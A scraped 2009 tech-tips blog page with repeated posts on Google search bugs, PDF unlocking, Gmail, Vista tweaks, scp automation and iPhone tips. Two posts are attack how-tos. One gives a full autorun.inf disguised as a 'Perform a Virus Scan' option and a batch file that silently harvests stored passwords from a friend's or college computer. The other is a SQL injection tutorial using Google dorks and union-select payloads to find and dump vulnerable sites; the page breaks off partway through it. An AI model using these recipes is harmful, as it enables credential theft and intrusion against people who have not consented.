Google has been working flawlessly so far even though get hit with millions of requests per hour. But not today. Every search results in Google search now tagged with "This site may harm your computer". The direct links to the URL of the sites listed in the search results are been redirected to a interstitial page labeled "Warning - visiting this website may harm your computer!" and various links to Google and StopBadware.org.
To make matter worse, all major established sites are been labeled as possible harmful or malicious badware sites, such as Microsoft, Yahoo, My Digital Life, and even Google itself. Even localized Google search engines in another languages such as French, German, Japanese, Chinese and etc. are affected by the major bug.
The bug appears to have happened for several hours, but not yet been fixed. It will only cause problem to webmasters though, as ads that appear with the search results appear to be working fine without problem. Only organic search results are been affected. Currently, the only workaround is to directly type in the URL into the address bar in order to access the website, or switch to Google Blog Search or Image Search or Google Mobile Search. More useful workaround is probably using Yahoo or Windows Live (MSN) Search. Note: The bug has been fixed.
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Saturday, August 29, 2009
Remove PDF files Restriction on Print,Copy,Paste etc..
Some PDF documents prevent the user from copying and pasting or printing it's contents. This sometimes presents a problem since the creator of the PDF file might have used a font that is not available in the system trying to read it. Ensode contains a free online utility that allows you to upload a PDF, once uploaded, a version of the PDF without printing or copying/pasting restrictions is displayed in a new browser window.
How to Remove Restrictions on Printing & Copying - Unlock the Pdf File
Method 1
To unlock a PDF file, enter it's location in the "PDF file to unlock" field, by either typing it in the field or clicking on the "browse" button, then navigating to it's location. See Screenshot Below
Method 2
The Tricks Given by us in our previous post for hacking password protected PDF's in Remove Restrictions from PDF Files
The unlocked version of the PDF will be displayed in a new browser window, opened in the default PDF application for your system (usually Adobe Acrobat Reader).
How to Remove Restrictions on Printing & Copying - Unlock the Pdf File
Method 1
To unlock a PDF file, enter it's location in the "PDF file to unlock" field, by either typing it in the field or clicking on the "browse" button, then navigating to it's location. See Screenshot Below
Method 2
The Tricks Given by us in our previous post for hacking password protected PDF's in Remove Restrictions from PDF Files
The unlocked version of the PDF will be displayed in a new browser window, opened in the default PDF application for your system (usually Adobe Acrobat Reader).
Back Up your Hard Drive Automatically
When was the last time you backed up your important files? Last year when your friend called in tears after the Blue Screen of Death ate his thesis? We thought so. Learn to set up a program called SyncBack which automatically generates password protected zip files of your important documents.
Benefits:
It's free and pretty easy to use.
You can choose to save them to an external hard drive or upload them to an FTP server.
Schedule nightly, weekly, and monthly backups so you don't have to lift a finger.
No, don't just bookmark this post and do it later. Do it now! Before it's too late! If you need assistance automating backup, see a full guide to using SyncBack
Benefits:
It's free and pretty easy to use.
You can choose to save them to an external hard drive or upload them to an FTP server.
Schedule nightly, weekly, and monthly backups so you don't have to lift a finger.
No, don't just bookmark this post and do it later. Do it now! Before it's too late! If you need assistance automating backup, see a full guide to using SyncBack
Thursday, August 27, 2009
Use Gmail Account to Send Emails from Multiple Addresses
In this post I am going to show you how to use your Gmail account to send and receive emails from multiple addresses. Most of us own more than one email account say for example, one from Gmail , one from Yahoo and one from Hotmail . If you are tired of logging into multiple accounts to check your inbox or to send emails, I have a solution here. Gmail has an option to integrate multiple email accounts (email addresses) into a single Gmail account. Once you integrate multiple email addresses into your Gmail account, you can use the same account to send emails from different addresses and receive emails for different addresses. Let's take a simple example Suppose you have three email addressess (email accounts) 1.Roneysidhu@gmail.com 2. Roney.Sidhu@yahoo.com 3. Roneysidhu@hotmail.com You can integrate the emails roney.sidhu@yahoo.com and roneysidhu@hotmail.com to roneysidhu@gmail.com and operate all the three accounts from your single gmail account. Here is a step- by-step procedure to do this. 1. Login to your gmail account. 2. Click on Settings at the top right corner. 3. Under Settings, click on Accounts tab. 4. Now you'll see the first option " Send mail as: " 5. Under this option, click on Add another email address you own 6. Now a small new window will pop-up asking you to enter the details of your new email address . 7. Here you can enter any name and any email address. The email address need not belong to gmail only . You can enter your yahoo , hotmail or any other valid email address. 8. A Verification email will be sent to the address that you specify. Once you verify that you own the email address, it will be integrated to your Gmail account. Now when you compose a new email, you'll see an option to select from multiple address to send the mail. Also you'll receive the incoming mails for multiple addresses to a single mailbox . I hope this will benefit you. Before you leave, I should also tell you one good advantage of this. According to Gmail privacy policy , they will not send the user's IP address in the outgoing emails. That means when you send an email from your Gmail account, the receiver will not be able to find out your IP address. But you don't have this advantage in Yahoo or other email providers.
Hack Passwords Using USB Drive
Today I will show you how to hack Passwords using an USB Pen Drive. As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend's/college Computer. We need the following tools to create our rootkit. MessenPass : Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4 .x/2003 , AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM. il PassView : Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002 /2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts. IE Passview : IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0 , as well as older versions of Internet explorer, v4.0 - v6.0 Protected Storage PassView : Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more... PasswordFox : PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename. Here is a step by step procedre to create the password hacking toolkit. NOTE: You must temporarily disable your antivirus before following these steps. 1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive. ie: Copy the files - mspass.exe , mailpv.exe , iepv.exe , pspv.exe and passwordfox.exe into your USB Drive. 2. Create a new Notepad and write the following text into it [autorun]
open=launch.bat
ACTION= Perform a Virus Scan save the Notepad and rename it from New Text Document.txt to autorun.inf Now copy the autorun.inf file onto your USB pendrive. 3. Create another Notepad and write the following text onto it. start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt save the Notepad and rename it from New Text Document.txt to launch.bat Copy the launch.bat file also to your USB drive. Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend's PC or on your college computer. Just follow these steps 1 . Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive). 2. In the pop-up window, select the first option ( Perform a Virus Scan ). 3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files. 4. Remove the pendrive and you'll see the stored passwords in the .TXT files. This hack works on Windows 2000, XP,Vista and 7
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts. IE Passview : IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0 , as well as older versions of Internet explorer, v4.0 - v6.0 Protected Storage PassView : Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more... PasswordFox : PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename. Here is a step by step procedre to create the password hacking toolkit. NOTE: You must temporarily disable your antivirus before following these steps. 1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive. ie: Copy the files - mspass.exe , mailpv.exe , iepv.exe , pspv.exe and passwordfox.exe into your USB Drive. 2. Create a new Notepad and write the following text into it [autorun]
open=launch.bat
ACTION= Perform a Virus Scan save the Notepad and rename it from New Text Document.txt to autorun.inf Now copy the autorun.inf file onto your USB pendrive. 3. Create another Notepad and write the following text onto it. start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt save the Notepad and rename it from New Text Document.txt to launch.bat Copy the launch.bat file also to your USB drive. Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend's PC or on your college computer. Just follow these steps 1 . Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive). 2. In the pop-up window, select the first option ( Perform a Virus Scan ). 3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files. 4. Remove the pendrive and you'll see the stored passwords in the .TXT files. This hack works on Windows 2000, XP,Vista and 7
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
Google Sync for Mobile
Google Sync mainly used in Mobile phones and it began synchronising its free online calendars abd Gmail contact lists with smart phones using softwares licensed from arch- rival Microsoft.
Google Sync updates the Calendars and Gmail contacts in Iphones orWindow-based mobile devices to match changes users make using computers online and others...
Sync uses "push technology" so many changes or addition to your calendar or contacts are reflected in your device in minutes,Google Mobile Engineer Bryan Mawhinney wrote in California's site.
It uses two-way service so that you make changes in Mobile and in Google account.
It goes by wireless connection, so that if phone gets lost the calendar and other information are storeb by Google.
Google Sync updates the Calendars and Gmail contacts in Iphones orWindow-based mobile devices to match changes users make using computers online and others...
Sync uses "push technology" so many changes or addition to your calendar or contacts are reflected in your device in minutes,Google Mobile Engineer Bryan Mawhinney wrote in California's site.
It uses two-way service so that you make changes in Mobile and in Google account.
It goes by wireless connection, so that if phone gets lost the calendar and other information are storeb by Google.
Coding errors that helped Hackers and Intruders
There has been some 25 software coding errors that helped the Cyber criminals helped them to have access the site and accounts to nearly 1.5 million security breaches.
The SANS Institute in Maryland said that in 2008 , just two of the errors led to more than 1.5 m web site security breaches. The organisations, which helped making the list, include the US National Security Agency, the Department of Homeland Security, Microsoft, and Symantec published the document."The top 25 list gives developers a minimum set of coding errors that must be eradicated before software is used by customers," the BBC quoted Chris Wysopal, chief technology officer with Veracode.
SANS director, Mason Brown said: "There appears to be broad agreement on the programming errors. Now it is time to fix them. We need to make sure every programmer knows how to write code that is free of the top 25 errors."While, most of the earlier advice focused on vulnerabilities that could have originated from programming errors, the 25 list examines the actual programming errors themselves.The 25 Most Dangerous Programming Errors are:
CWE-116 :Improper Encoding or Escaping of OutputCWE-89 :Failure to Preserve SQL Query StructureCWE-20 :Improper Input ValidationCWE-79 :Failure to Preserve Web Page StructureCWE-78 :Failure to Preserve OS Command StructureCWE-319 :Cleartext Transmission of Sensitive InformationCWE-352:Cross-Site Request ForgeryCWE-362 :Race ConditionCWE-209 :Error Message Information LeakCWE-119 :Failure to Constrain Operations within the Bounds of a Memory BufferCWE-642 :External Control of Critical State DataCWE- 73:External Control of File Name or Path
CWE-665 :Improper InitializationCWE-426 :Untrusted Search PathCWE-94 :Failure to Control Generation of CodeCWE- 494 :Download of Code Without Integrity CheckCWE-404 :Improper Resource Shutdown or ReleaseCWE-682 :Incorrect CalculationCWE-285 :Improper Access ControlCWE-327:Use of a Broken or Risky Cryptographic AlgorithmCWE-259 :Hard-Coded PasswordCWE-732 :Insecure Permission Assignment for Critical ResourceCWE-330 :Use of Insufficiently Random ValuesCWE- 250 :Execution with Unnecessary PrivilegesCWE-602:Client-Side Enforcement of Server-Side Security (ANI)This List is produced by National Security Agency (NSA) and 30 other organisations to put forward the flaws.
The SANS Institute in Maryland said that in 2008 , just two of the errors led to more than 1.5 m web site security breaches. The organisations, which helped making the list, include the US National Security Agency, the Department of Homeland Security, Microsoft, and Symantec published the document."The top 25 list gives developers a minimum set of coding errors that must be eradicated before software is used by customers," the BBC quoted Chris Wysopal, chief technology officer with Veracode.
SANS director, Mason Brown said: "There appears to be broad agreement on the programming errors. Now it is time to fix them. We need to make sure every programmer knows how to write code that is free of the top 25 errors."While, most of the earlier advice focused on vulnerabilities that could have originated from programming errors, the 25 list examines the actual programming errors themselves.The 25 Most Dangerous Programming Errors are:
CWE-116 :Improper Encoding or Escaping of OutputCWE-89 :Failure to Preserve SQL Query StructureCWE-20 :Improper Input ValidationCWE-79 :Failure to Preserve Web Page StructureCWE-78 :Failure to Preserve OS Command StructureCWE-319 :Cleartext Transmission of Sensitive InformationCWE-352:Cross-Site Request ForgeryCWE-362 :Race ConditionCWE-209 :Error Message Information LeakCWE-119 :Failure to Constrain Operations within the Bounds of a Memory BufferCWE-642 :External Control of Critical State DataCWE- 73:External Control of File Name or Path
CWE-665 :Improper InitializationCWE-426 :Untrusted Search PathCWE-94 :Failure to Control Generation of CodeCWE- 494 :Download of Code Without Integrity CheckCWE-404 :Improper Resource Shutdown or ReleaseCWE-682 :Incorrect CalculationCWE-285 :Improper Access ControlCWE-327:Use of a Broken or Risky Cryptographic AlgorithmCWE-259 :Hard-Coded PasswordCWE-732 :Insecure Permission Assignment for Critical ResourceCWE-330 :Use of Insufficiently Random ValuesCWE- 250 :Execution with Unnecessary PrivilegesCWE-602:Client-Side Enforcement of Server-Side Security (ANI)This List is produced by National Security Agency (NSA) and 30 other organisations to put forward the flaws.
Tuesday, August 25, 2009
Reduce Windows Animation Speed in Windows Vista
Windows Vista comes with several new enhancements, however for these added features you have to pay the price of slow processing speed for even the fastest of computers. The main reason is the visual upgrades, which though looks good can drastically reduce the performance of your system. If your system can not take the load of Window Vista and you still want to use it for considerable performance, you may tweak Windows Vista for certain optimizations. For example; when you minimize, maximize or close any windows/applications, the animation speed to perform these tasks is a default setting which is not under the control of the user. Never the less, you can make this transition run slower while holding the SHIFT key button; after performing the following registry hack as shown below: 1. Click on the Start button and type regedit in the Start Search field, then press enter. 2. If User Account Control prompts you for consent, click on Continue. 3. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM 4. In the right hand pane, right click on an empty space and from the context menu that appears choose “New > DWORD (32-bit) Value”. 5. Give the new DWORD (32-bit) Value a name of AnimationsShiftKey. 6. Double click on the “AnimationsShiftKey” value and give it a value of 1. 7. Close the Registry Editor and log off of Windows and log back in for this to take effect. If you have successfully edited the registry, you will notice that the animation speed has become slower when compared to previous without holding the SHIFT key. Enjoy!
Automated scp on Linux
Scenario You would like to automate the export of SQL dump files from one Linux server to another using scp. These dump files are to be generated and exported once every two weeks. You also wish to archive these dump files on the source server. So let’s say the servers and directories are as follows: Source Hostname: perak
Username: nazham
Dump file directory: /home/nazham/data_export/current
Archive directory: /home/nazham/data_export/archive/yyyymmdd Target Hostname: selangor
Username: romantika
Target directory: /home/romantika/data_import Passwordless scp First you need to set it up so that you don’t need to enter a password for scp. The overall picture is as follows:
At the source server, generate a pair of public and private keys [1] using RSA.
Store the private key in a specific place in the source server.
Store the public key in a specific place in the destination server.
And that’s it! Now you’ll no longer be prompted for a password when using scp.
One-off steps # login to perak with username nazham
ssh-keygen -t rsa
# choose default location, no passphrase - just press enter at all prompts
scp ~/.ssh/id_rsa.pub romantika@selangor:/home/romantika/.ssh/authorized_keys
# I'm assuming the file authorized_keys does not exist!
# otherwise, you need to append the contents of id_rsa.pub to it.
crontab -e
# add the following:
# 1 0 1,15 * * nazham /home/nazham/run_data_export >> /dev/null 2>&1
# which means, run at 12:01 am every 1st and 15th of the month
mkdir ~/data_export
mkdir ~/data_export/current
mkdir ~/data_export/archive The run_data_export script todaysDate=`date +%Y%m%d`
oldDate=`date -d '1 year ago' +%Y%m%d`
exportDir=data_export
mysqldump -u username -ppassword -r ~/$exportDir/current/filename dbname tablenames
echo $todaysDate > ~/$exportDir/current/importdate.txt
scp ~/$exportDir/current/* romantika@selangor:/home/romantika/data_import
mkdir ~/$exportDir/archive/$todaysDate
rm ~/$exportDir/current/importdate.txt
mv ~/$exportDir/current/* ~/$exportDir/archive/$todaysDate
if [ -d ~/$exportDir/archive/$oldDate ]; then rm -r ~/$exportDir/archive/$oldDate; fi The Linux date command I’m very impressed by the Linux date command. This might be old news to some, but the fact that I’m able to say date -d '1 year ago' or date -d '30 days ago' completely blows the mind. Notes [1] From Pass on Passwords with scp: “If you’re not familiar with public key cryptography, here’s the 15-second explanation. In public key cryptography, you generate a pair of mathematically related keys, one public and one private. You then give your public key to anyone and everyone in the world, but you never ever give out your private key. The magic is in the mathematical makeup of the keys; anyone with your public key can use it to encrypt a message, but only you can decrypt it with your private key.”
Username: nazham
Dump file directory: /home/nazham/data_export/current
Archive directory: /home/nazham/data_export/archive/yyyymmdd Target Hostname: selangor
Username: romantika
Target directory: /home/romantika/data_import Passwordless scp First you need to set it up so that you don’t need to enter a password for scp. The overall picture is as follows:
At the source server, generate a pair of public and private keys [1] using RSA.
Store the private key in a specific place in the source server.
Store the public key in a specific place in the destination server.
And that’s it! Now you’ll no longer be prompted for a password when using scp.
One-off steps # login to perak with username nazham
ssh-keygen -t rsa
# choose default location, no passphrase - just press enter at all prompts
scp ~/.ssh/id_rsa.pub romantika@selangor:/home/romantika/.ssh/authorized_keys
# I'm assuming the file authorized_keys does not exist!
# otherwise, you need to append the contents of id_rsa.pub to it.
crontab -e
# add the following:
# 1 0 1,15 * * nazham /home/nazham/run_data_export >> /dev/null 2>&1
# which means, run at 12:01 am every 1st and 15th of the month
mkdir ~/data_export
mkdir ~/data_export/current
mkdir ~/data_export/archive The run_data_export script todaysDate=`date +%Y%m%d`
oldDate=`date -d '1 year ago' +%Y%m%d`
exportDir=data_export
mysqldump -u username -ppassword -r ~/$exportDir/current/filename dbname tablenames
echo $todaysDate > ~/$exportDir/current/importdate.txt
scp ~/$exportDir/current/* romantika@selangor:/home/romantika/data_import
mkdir ~/$exportDir/archive/$todaysDate
rm ~/$exportDir/current/importdate.txt
mv ~/$exportDir/current/* ~/$exportDir/archive/$todaysDate
if [ -d ~/$exportDir/archive/$oldDate ]; then rm -r ~/$exportDir/archive/$oldDate; fi The Linux date command I’m very impressed by the Linux date command. This might be old news to some, but the fact that I’m able to say date -d '1 year ago' or date -d '30 days ago' completely blows the mind. Notes [1] From Pass on Passwords with scp: “If you’re not familiar with public key cryptography, here’s the 15-second explanation. In public key cryptography, you generate a pair of mathematically related keys, one public and one private. You then give your public key to anyone and everyone in the world, but you never ever give out your private key. The magic is in the mathematical makeup of the keys; anyone with your public key can use it to encrypt a message, but only you can decrypt it with your private key.”
Monday, August 24, 2009
PDF Merger:Merge PDF Files into single File
MergePDF, like what the name suggests, is an online tool that you can use to merge PDF Documents into a single file. If you have multiple, small sized PDF documents that you want combined, you might want to try using this tool.In the website MergePDF
For each process, you are allowed to merge up to 10 PDFs with sizes not exceeding 5MB. If you think that the file size limit is rather small, you’ll have to do it using desktop applicatons such as Acrobat PRO or some other PDF related desktop software. If you’re merging large files, then most probably you don’t want them to be lurking around the internet anyway. Even if MergePDF stated that the files that are uploaded are removed right after the merge process is completed. The only thing that is not safe in itself is the data transfer as we are not transferring through SSL. If our users send us an email requesting SSL, we will happily address that and provide upload over https. This is a neat and simple tool for doing a simple task and it won’t cost you anything. It merges PDFs, no manipulating no editing,that’s as simple as it gets.
For each process, you are allowed to merge up to 10 PDFs with sizes not exceeding 5MB. If you think that the file size limit is rather small, you’ll have to do it using desktop applicatons such as Acrobat PRO or some other PDF related desktop software. If you’re merging large files, then most probably you don’t want them to be lurking around the internet anyway. Even if MergePDF stated that the files that are uploaded are removed right after the merge process is completed. The only thing that is not safe in itself is the data transfer as we are not transferring through SSL. If our users send us an email requesting SSL, we will happily address that and provide upload over https. This is a neat and simple tool for doing a simple task and it won’t cost you anything. It merges PDFs, no manipulating no editing,that’s as simple as it gets.
Top 5 iPhone tips and tricks
OK, so might already know one or two of these tips and shortcuts to improving your iPhone experience, but hopefully a few of these following pointers will be news to you. Print out the list and give 'em a try, and feel free to post your own to the comments section.
Some of these iPhone tricks were revealed in a recent sit-down chat with Bob Borchers, senior product executive at Apple.
1. Two ways to save images
You're surfing the Internet in Safari and stumble upon a photo you'd like to save. Simply press and hold on a photo when on a website and you'll be prompted with a menu asked if you'd like to "Save Image." Once the photo is saved, you can view it offline, email it or set it as wallpaper.
On a related note, if you want to take a screenshot of a website or application, press down on the Home button and tap the Sleep button. You'll hear the camera click, see a white flash and the screenshot will be saved.
2. Oh those magic headphones
Those trendy white earbuds do more than you might realize. The iPhone's headphones have a small button on the microphone and it performs multiple functions. For example, press once to start the iPod and begin playing a song. Press again to pause the track or double-tap to skip to the next song.
If a call comes in, press the button once to answer or double-tap to send the call right to voicemail. During a call, press once to hang up.
3. Browser tricks
Want to know an easy way to scroll to the top of a website in Safari? Simply tap at the top of the phone screen, where the time, battery and signal bars are. Doing this works in most applications, but in Safari it also brings up the URL to type in a new website.
If your preferred search engine is set to Google in Safari you don't need type in the "www" and ".com" for many websites. For example, simply type "usatoday" (without the quotes) in the URL window. If you need to type a domain suffix (e.g. ".net"), press and hold the ".com" button for ".net," ".edu," ".org" shortcut keys and use your finger to slide between them.
4. No place like Home
There are many uses for that circular Home button, located in the center and bottom of your iPhone. If you've got ten pages of applications to peruse through, you can quickly go back to the first page by pressing the Home button once (here's where you should drag and drop your most used apps). By the way, you can also tap the bottom left or right corners of the screen to switch between pages instead of swiping your finger across.
Double-tapping the Home button brings up your phone's Favorites screen, where you can list the people you call the most. If you prefer, edit the Home button's function in Settings so when you double-tap the Home button it takes you right to your music playlists.
5. Little-known email tips
You can delete unwanted emails en masse rather than deleting one at a time. In your Inbox, simply click the Edit button and check off the emails you want to delete with your finger and then choose Delete. Otherwise, to delete a single email, simply swipe the email sideways and you'll see the red "Delete" button option.
One of the biggest issues iPhone users have is typing an email on the "soft keyboard" with the email's vertical screen layout. But there are a handful of free App Store downloads, such as EasyWriter, that can resolve this by letting you hold the phone horizontally (landscape view) and thus offering a wider keyboard with bigger buttons
Some of these iPhone tricks were revealed in a recent sit-down chat with Bob Borchers, senior product executive at Apple.
1. Two ways to save images
You're surfing the Internet in Safari and stumble upon a photo you'd like to save. Simply press and hold on a photo when on a website and you'll be prompted with a menu asked if you'd like to "Save Image." Once the photo is saved, you can view it offline, email it or set it as wallpaper.
On a related note, if you want to take a screenshot of a website or application, press down on the Home button and tap the Sleep button. You'll hear the camera click, see a white flash and the screenshot will be saved.
2. Oh those magic headphones
Those trendy white earbuds do more than you might realize. The iPhone's headphones have a small button on the microphone and it performs multiple functions. For example, press once to start the iPod and begin playing a song. Press again to pause the track or double-tap to skip to the next song.
If a call comes in, press the button once to answer or double-tap to send the call right to voicemail. During a call, press once to hang up.
3. Browser tricks
Want to know an easy way to scroll to the top of a website in Safari? Simply tap at the top of the phone screen, where the time, battery and signal bars are. Doing this works in most applications, but in Safari it also brings up the URL to type in a new website.
If your preferred search engine is set to Google in Safari you don't need type in the "www" and ".com" for many websites. For example, simply type "usatoday" (without the quotes) in the URL window. If you need to type a domain suffix (e.g. ".net"), press and hold the ".com" button for ".net," ".edu," ".org" shortcut keys and use your finger to slide between them.
4. No place like Home
There are many uses for that circular Home button, located in the center and bottom of your iPhone. If you've got ten pages of applications to peruse through, you can quickly go back to the first page by pressing the Home button once (here's where you should drag and drop your most used apps). By the way, you can also tap the bottom left or right corners of the screen to switch between pages instead of swiping your finger across.
Double-tapping the Home button brings up your phone's Favorites screen, where you can list the people you call the most. If you prefer, edit the Home button's function in Settings so when you double-tap the Home button it takes you right to your music playlists.
5. Little-known email tips
You can delete unwanted emails en masse rather than deleting one at a time. In your Inbox, simply click the Edit button and check off the emails you want to delete with your finger and then choose Delete. Otherwise, to delete a single email, simply swipe the email sideways and you'll see the red "Delete" button option.
One of the biggest issues iPhone users have is typing an email on the "soft keyboard" with the email's vertical screen layout. But there are a handful of free App Store downloads, such as EasyWriter, that can resolve this by letting you hold the phone horizontally (landscape view) and thus offering a wider keyboard with bigger buttons
Sunday, August 23, 2009
Make a Shortcut to Lock Your Computer
Leaving your computer in a hurry but you don?t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ ALT+DEL or a screen saver.
To create a shortcut on your desktop to lock your computer:
Right-click the desktop.
Point to New, and then click Shortcut.
The Create Shortcut Wizard opens. In the text box, type the following:
rundll32 .exe user32.dll,LockWorkStation
Click Next.
Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like.
Click Finish.
You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll).
To change the icon:
Right click the shortcut and then select Properties.
Click the Shortcut tab, and then click the Change Icon button.
In the Look for icons in this file text box, type:
Shell32.dll.
Click OK.
Select one of the icons from the list and then click OK
You could also give it a shortcut keystroke such CTRL+ ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.
To create a shortcut on your desktop to lock your computer:
Right-click the desktop.
Point to New, and then click Shortcut.
The Create Shortcut Wizard opens. In the text box, type the following:
rundll32 .exe user32.dll,LockWorkStation
Click Next.
Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like.
Click Finish.
You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll).
To change the icon:
Right click the shortcut and then select Properties.
Click the Shortcut tab, and then click the Change Icon button.
In the Look for icons in this file text box, type:
Shell32.dll.
Click OK.
Select one of the icons from the list and then click OK
You could also give it a shortcut keystroke such CTRL+ ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.
MySQLi Dumper
Table of contents:
1.Introduction
2.Getting the program
3.Running the Scan
4.Finding the vulnerabilities
5.Understanding the program
6.Exploitation
7.Getting the Tables
8.Leaving your message
Disclaimer:
We by no means encourage or take responsibility of the tutorial of this program. Blah blah blah...don't do anything stupid guys.
Introduction:
Welcome to my second article, in this article basically we will be looking at the program: MySQLi Dumper, which is a SQL vulnerability Scanner, that deals with the dumping of data through SQL injection. Now it has only been recently that i have discovered the uses of having a SQL scanner, and i have still not yet mastered it or configured it to a wider range of exploits. However, i had to spread the word.
Basically the role of a scanner is to use search engine's results (Google/Yahoo) to find pages that have queries that may be vulnerable. In this article, my goal is to basically run you through how to use MySQLi and also run through a bit of the theory behind the exploit/attack.
Getting the Program:
Before we begin scanning any sites, we must first all have our own copies of the program. To get the program, all we have to do is download it from this site: Click Me
Once u have it downloaded, extract the files and save it to a safe and secure folder and open the program.
Running the Scan:
Okay, well now you should have to program open and on the page you should see essentially a blank page, which at the top has a set of tabs:
- Scanner
- Num.Blind
- Dump MySQL
- ETC
Logically, if we are to have any chance of finding an exploit, we must first have our archive of possible, vulnerable sites. Hence, we come to the scanner tab.
This tab basically allows us to put in which criteria we want to scan for, and from what search engine we are going to do it from.
So for this example we are going to be searching for pages with SQL based queries. This is going to be our first search type:
Click Me
Here we have the following criteria:
- URL has ".php?newsid="
- From Google
- Timeout of 5 seconds (increase this if your internet is slow and vice versa)
- Results of 100pages
Once, we have our settings dialed right, we have to click "Start Scann SQLi" and away we go.
/* on a side note, you can change these values for different sites *\
Finding the Vulnerabilities:
Now comes the beauty of this program, the ability to inject chosen SQL into the archive to find a vulnerability.
- To get there click on the Vuln.SQLi tab
- Configure your settings to that of your internet standards.
- Also there is now a SQL injection drop down box, you can configure that to determine which SQL injection you want to produce the errors.
Now all you do is click Start Scan .
Understanding the program:
Now with all programs like these, it is essentially very easy to know the process of running the application, without actually knowing the theory of how the program is working.
When scanning for vulnerable sites, the program injects code into the database that will output an error.
A very common (and default) way of returning an error is to input something that is essentially incorrect.
A MYSQL page for example uses SQL queries to search a given database for given results. Now if we were to input an error after this, the database would return an error, and if the page is vulnerable, will also return that error.
In the SQL injection part of the Vuln.SQLi tab, we will find the default SQL injection as being:
CODE :
+ and+0 =1+ union+ select+
What this does is input corrupt data into the database and hope for a result.
CODE :
An example: www.vulnsite.com/index.php?id=0
Now this site has a PHP query for the variable id.
If we were to inject arbitrary code after it, we could possibly output and error and we would know we may exploit it.
So for hypothetical sake, we input the following:
CODE :
www.vulnsite.come/index.php?i d=0+ AND+0 =1+ UNION+ SELECT+
And the page outputs an error, we know we have a probable:
CODE :
mysql_num_rows() line 255
Exploitation:
Alright, now at this point, we should have a list of vulnerable sites, and we now need to see if they are exploitable.
So, once we have these pages we copy and paste our first page, and we go to the "Num.Blind Tab".
Now we should have pasted the page into the main form and click GET.
Page should look like this:
Click Me
Now part of this exploitation is searching through errors to see when they disappear or when the error no longer applies. So the program will guide us through this process with the GET PAGE button.
OK to get started I'll make easy I'll do it in steps:
- Put page into the top bar and click GET PAGE
- The page should come up with an error of some sort on the screen, make note of it and click GET PAGE again.
- Keep clicking GET PAGE until the error disappears....WE have our point of exploitation
- Now since the code is now true we must change:
CODE :
id=1 to id=-1
- Once it's edited click 'GET PAGE MANUALLY'
- If you have done everything right, the errors should disappear and we should get an output... An example is here... Click Me
Making the attack:
Now we have found an insecure site, we need to go to the DUMP MYSQL tab, and paste in the top form.
Once it is pasted, you must remember the output for which the database echoed...In my example it was '3', however this will change.
1.Introduction
2.Getting the program
3.Running the Scan
4.Finding the vulnerabilities
5.Understanding the program
6.Exploitation
7.Getting the Tables
8.Leaving your message
Disclaimer:
We by no means encourage or take responsibility of the tutorial of this program. Blah blah blah...don't do anything stupid guys.
Introduction:
Welcome to my second article, in this article basically we will be looking at the program: MySQLi Dumper, which is a SQL vulnerability Scanner, that deals with the dumping of data through SQL injection. Now it has only been recently that i have discovered the uses of having a SQL scanner, and i have still not yet mastered it or configured it to a wider range of exploits. However, i had to spread the word.
Basically the role of a scanner is to use search engine's results (Google/Yahoo) to find pages that have queries that may be vulnerable. In this article, my goal is to basically run you through how to use MySQLi and also run through a bit of the theory behind the exploit/attack.
Getting the Program:
Before we begin scanning any sites, we must first all have our own copies of the program. To get the program, all we have to do is download it from this site: Click Me
